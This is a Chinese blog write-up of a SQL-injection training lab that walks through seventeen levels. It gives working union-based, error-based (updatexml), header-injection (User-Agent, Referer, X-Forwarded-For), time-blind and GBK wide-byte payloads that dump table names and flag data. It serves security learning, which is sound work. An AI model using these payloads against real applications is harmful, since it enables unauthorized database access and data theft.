【掌控安全】sql注入全集

news2024/11/25 3:00:11

掌控安全


🔥系列专栏:掌控安全
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2023年5月20日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

文章目录

  • 掌控安全
    • 第一个
    • 第二个
    • 第三关
    • 第四关
    • 第五关
    • 第六关
    • 第七关
    • 第八关
    • 第九关
    • 第十六关
    • 第十七关


直接从这里开始
在这里插入图片描述

第一个

?id=1 and 1=1

在这里插入图片描述

?id=1 and 1=2

在这里插入图片描述所以存在注入
接下来判断列数以及注入点

?id=1 order by 3
?id=1 order by 4 //页面不正常

在这里插入图片描述
在这里插入图片描述
所以有三列
接下来找一下注入点

?id=1 union select 1,2,3

在这里插入图片描述所以2,3是注入点

接下来直接梭哈表名

?id=1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())

在这里插入图片描述
梭哈列名

?id=1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='error_flag')

在这里插入图片描述接下来直接在对应的表中查询字段

?id=1 union select 1,2,flag from error_flag

在这里插入图片描述

第二个

在这里插入图片描述这是一个字符型
所以我们要构造引号闭合

?id=1' or 1=1 --+
?id=1' or 1=2 --+
页面显示不同
所以存在sql注入

找一下字段

?id=1' order by 3--+
?id=1' order by 4--+
页面不同,所以有三段
然后跟之前一样了

在这里插入图片描述

第三关

构造括号与引号闭合

?id=1') or 1=1--+

最后加上注释符
在这里插入图片描述
然后都是一样

第四关

同理

?id=1") or 1=1--+

第五关

' or 1=1 -- 
最后面有一个空格,-- 是注释
万能密码登陆成功,所以存在sql注入
并且注释是--

在这里插入图片描述
接下来猜字段

' or 1=1 order by 3 -- 
' or 1=1 order by 4 -- 

在这里插入图片描述说明是三列

用or的话就要让之前的为假,这样就会输出后面为真的内容

' or 1=2 union select 1,2,3 -- 

后面的也一样了
在这里插入图片描述

' or 1=2 union select 1,2,(select group_concat(column_name) from information_schema.columns
where table_name='flag') -- 

在这里插入图片描述
接下来从flag表拿数据

' or 1=2 union select 1,flag,3 from flag -- 

在这里插入图片描述

第六关

万能密码

") or 1=1 -- 

在这里插入图片描述
同理

第七关

head注入
一般采用报错注入
报错注入采取了一些函数
在实际操作中需要绕过,利用内联,宽字节等等很多方法
同时需要注意的是,一般只有登陆成功的时候才会成功
因为只有这个时候服务器才会记录你的head头信息
所以前期爆破一下
admin/123456

我们这里直接抓包

 ' or sleep(10),1)#

先时间盲注一下,可以看到页面延迟了10秒,并且通过尝试知道了注释符是#
所以我们构造攻击性语句
在这里插入图片描述在这里我们把这个打开,就可以自动跟踪我们发的包与上一个包的不同
在这里插入图片描述

' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1),1)#

在这里插入图片描述

User-Agent: ' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag_head')),1),1)#

在这里插入图片描述

User-Agent: ' or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head)),1),1)#

在这里插入图片描述

第八关

也是head注入
这次是在refer头
复制上面的操作
先进行时间盲注
在这里插入图片描述
盲注成功
接下来的操作都一样

第九关

添加一个XFF头
然后去盲注

x-forwarded-for:  ' or sleep(10),1)#

盲注成功,复制即可
在这里插入图片描述

第十六关

之前几关都是盲注,原理很简单,但是都需要爆破批量跑数据
这里就不演示了,可以用sqlmap直接跑的
如果想知道sqlmap的原理,可以简单地burp抓一下包去看
proxifier做全局代理到bp,然后就行了
第16关是宽字节注入

在这里插入图片描述
可以看到多了一个反斜杠
宽字节的原理就不多说了
就是值两个单字节组成了⼀个宽字节,因为有些数据库是gbk编码产⽣的问题,在输⼊引号等特殊符号的时候,会进⾏转义添加(%5c),所以采⽤在闭合的时候与%5c组成⼀个宽字节使\作⽤失效。

id=1%df' and 1=1 -- 
id=1%df' and 1=2 -- 

在这里插入图片描述

可以看到那个乱码符号与\挨在了一起,所以他们两个就组成可一个宽字节,我们的被转义的引号就被释放出来了

然后接下来的就不变了,跟之前第二关的报错注入一样,但是有一个地方需要注意一下
前面的判断列数就跳过先

%df' and 1=2 union select 1,2,database() -- qqq //查询库名,这里我发现我的空格老被吃掉,所以随便放点东西,反正--空格会注释掉后面的

在这里插入图片描述接下来要看看widechar库里有那些表

%df' and 1=2 union select 1,2,table_name from information_schema.tables where table_schema = database() limit 0,1 -- qqq
得到表名为china_flag

现在我们要从china_flag中拿数据
本来应该是这样的,但是没有东西

%df' and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=china_flag limit 0,1 -- qqq

因为系统编码方式(utf8)跟数据库采用的编码(gbk)方式不一样,所以再解析的时候会出现一些问题,这只在采用了gbk方式的数据库中会出现,所以我们可以将表名等信息均替换为对应的16禁止编码即可

china_flag = 0x6368696e615f666c6167
%df' and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=0x6368696e615f666c6167limit 0,1 -- qqq

在这里插入图片描述
而后再limit 0,2看第二个字段
看到了c_flag字段
查看即可

%df' and 1=2 union select 1,2,C_Flag from china_flag limit 0,1 -- qqq

第十七关

闭合不同,其他一样

%df") and 1=2 union select 1,2,database() -- qqq

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/548989.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux---文件操作命令(touch、cat、more)

1. touch命令 可以通过touch命令创建文件 语法:touch [选项] Linux路径 touch命令,参数必填,表示要创建的文件路径,相对、绝对、特殊路径符均可以使用。 touch 命令不光可以用来创建文件(当指定操作文件不存在时&a…

【Redis】聊一下缓存雪崩、击穿、穿透、预热

缓存的引入带来了数据读取性能的提升,但是因此也引入新的问题,一个是数据双写一致性,另一个就是雪崩、击穿、穿透,那么如何解决这些问题,我们来说下对应的问题和解决方案 雪崩 缓存雪崩:同一时间内大量请…

pg事务:事务相关元组结构

事务相关的元组结构 元组结构中包含很多pg的mvcc所必要的信息,下面的内容将梳理xmin,xmax,t_ctid,cmin,cmax,combo cid,tuple id的含义和关系 物理结构 HeapTupleHeaderData相当于tuple的header,其结构在src/include/access/htup_details.h中定义 typ…

【BIO、NIO、AIO、Netty】

什么是IO Java中I/O是以流为基础进行数据的输入输出的,所有数据被串行化(所谓串行化就是数据要按顺序进行输入输出)写入输出流。简单来说就是java通过io流方式和外部设备进行交互。在Java类库中,IO部分的内容是很庞大的,因为它涉及的领域很广…

win--C盘程序员常见应用内存空间处理

写在前面: 本篇用于记录我对于C盘各个应用内存处理的总结, 文章目录 前置知识vscode的.vscode文件迁移可以移动 软件推荐wsl和docker存储管理修改安装目录压缩磁盘 pip缓存清理JetBrains系列 前置知识 在win中有着这样一个命令mklink,可以…

Java飞行记录器

目录 JFR和JMC启动飞行记录用JFR对比不同GC器运行结果记录结果GC配置GC Summary垃圾收集 JFR和JMC JFR全称为Java Flight Recorder,即Java飞行记录器 JMC全称为JDK Mission Control,即JDK任务控制 先贴一段官网的简介: Java Flight Recorder…

基于鸿蒙系统的智能衣柜管理系统设计与实现_kaic

摘 要 随着城市的扩大与科学技术的发展,人们逐渐开始关注衣柜功能的改进,存储效果的优化和智能使用的升级。个性化、功能化、智能化的衣柜将出现在人们的家庭生活中,并且起到重要作用。 为了满足当前人们对智能衣柜的需求,本设计…

面试真的被问麻了......

前几天组了一个软件测试面试的群,没想到效果直接拉满,看来大家对面试这块的需求还是挺迫切的。昨天我就看到群友们发的一些面经,感觉非常有参考价值,于是我就问他还有没有。 结果他给我整理了一份非常硬核的面筋,打开…

Java -并发(多线程)-Interview面试题收集

1、多线程并发 1)多线程中 synchronized 锁升级的原理是什么? synchronized 锁升级原理:在锁对象的对象头里面有一个 threadid 字段,在第一次访问的时候 threadid 为空,jvm 让其持有偏向锁,并将 threadid…

Mabatis Plus 之ID生成策略控制(Auto、Input、assign_id、assign_uuid)

文章目录 知识点1:TableId1 环境构建2 代码演示AUTO策略步骤1:设置生成策略为AUTO步骤2:删除测试数据并修改自增值步骤3:运行新增方法 INPUT策略步骤1:设置生成策略为INPUT步骤2:添加数据手动设置ID步骤3:运行新增方法 ASSIGN_ID策略步骤1:设置生成策略为ASSIGN_ID步…

HTTPS的工作流程

hi,大家好,好久不见,今天为大家带来HTTPS协议的工作流程 认识HTTPS 加密是什么 HTTPS的工作流程 1.认识HTTPS HTTPS也是应用层协议,让我们再来回忆一下TCP/IP五层协议模型 HTTPS 也是一个应用层协议. 是在 HTTP 协议的基础上引入了一个加密层. HTTP协议在传输的时候是以…

2023河海大学838计算机学硕考研高分经验分享

大家好,我是陪你考研每一天的大巴学长。 大巴学长为大家邀请到了2023年838计算机学硕初试第二名的高分学长,为大家分享一下他的考研经验,经验里详细介绍了各科的复习方法,很有参考意义。 希望对大家有所借鉴和帮助,在…

C++13-STL模板-01向量(vector)

C13-STL模板 在线练习: http://noi.openjudge.cn/ https://www.luogu.com.cn/ 大纲要求 【 3 】算法模板库中的函数:min、max、swap、sort 【 4 】栈 (stack)、队列 (queue)、链表 (list)、 向量(vector)等容器 1.函数模板 泛…

HNU数据结构与算法分析-作业1-算法分析

1. (简答题) 1.(教材3.4)(a)假设某一个算法的时间代价为 ,对于输入规模n,在某台计算机上实现并完成该算法的时间为t秒。现在另有一台计算机,运行速度为第一台的64倍,那么t秒内新机器…

FreeRTOS(5)----互斥量

一,互斥信号量 互斥信号量是一个具有优先级继承的二值信号量,在同步的应用中二值信号量最合适。互斥信号量适合互斥访问的那些应用。在互斥访问中互斥信号量相当于一个钥匙,当一个任务使用这个资源,资源就会被上锁,防…

[CTF/网络安全] 攻防世界 robots 解题详析

[CTF/网络安全] 攻防世界 robots 解题详析 robots.txt姿势总结 题目描述:X老师上课讲了Robots协议,小宁同学却上课打了瞌睡,赶紧来教教小宁Robots协议是什么吧。 进入靶机,页面空白。 查看页面源代码: 再次结合题目Rob…

Java常用工具之StringUtils类

目录 一、字符串判空二、分隔字符串三、判断是否为纯数字四、将集合拼接成字符串五、其他方法 字符串(String)在我们的日常工作中,用得非常非常非常多。 在我们的代码中经常需要对字符串判空,截取字符串、转换大小写、分隔字符串、…

chatgpt赋能Python-python3_取模

Python3 取模:介绍与使用 在Python3中,取模运算是比较常用的运算符。本文将介绍Python中的取模运算符,并分享多种使用取模运算符的方法。 什么是取模运算符 在数学上,取模运算是将一个整数除以另一个整数,然后返回相…

后端传到前端的JSON数据大写变小写--2023

问题复现:1. 首先我先说一下,我用了lombok,事实证明和这个也有关系 前端这里写的也是按照驼峰命名来写的 控制台打印出来的数据 后台打印出来的数据 解决方法: 1. 重写get/set方法 因为我在实体类上标注了Data注解 重写get/se…

电动力学专题:闵氏几何(伪欧几何)

相对性原理和光速不变 物理定律在所有的惯性参考系里都是平等的,不存在一个特殊的惯性系。真空中的光速在所有的惯性系里都是一样的。 洛伦兹变换 距离度量:闵氏(Mins geometry) 狭义相对论下,不随惯性系变化的量闵式距离(时空间…